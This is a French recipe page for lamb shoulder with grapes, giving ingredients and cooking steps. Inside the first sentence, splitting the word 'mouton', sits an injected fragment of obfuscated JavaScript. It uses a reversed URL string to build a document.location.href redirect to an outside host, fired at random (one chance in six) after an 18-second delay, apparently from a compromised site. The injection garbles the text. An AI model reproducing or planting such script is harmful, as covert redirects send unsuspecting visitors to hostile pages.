Épaule d’agneau aux raisins
2021-05-05Coupez l’épaule de moutobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton en cubes. Rincez les raisins, égrappez-les. Pelez, émincez les oignons. Pelez, Coupez-les gousses d’ail en 2, ôtez le germe, hachez-les avec le persil.
Ingrédients
Coupez l'épaule de mouton en cubes. Rincez les raisins, égrappez-les. Pelez, émincez les oignons. Pelez, Coupez-les gousses d'ail en 2, ôtez le germe, hachez-les avec le persil. Dans une cocotte sur feu vif avec 2 cuillères à soupe d'huile d'arachide, faites revenir la viande d'agneau jusqu'à ce qu'elle soit dorée. Salez, poivrez. Incorporez les oignons, les pignons de pin, le thym, le cumin, les grains de raisins, et la persillade.
Faites mijoter sur feu doux pendant 10 minutes. Vérifiez la cuisson et l'assaisonnement, servez dans un plat de service.
DégustezPréparation de la recette
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Etape 4
Etape 5
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Etape 7
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Etape 9
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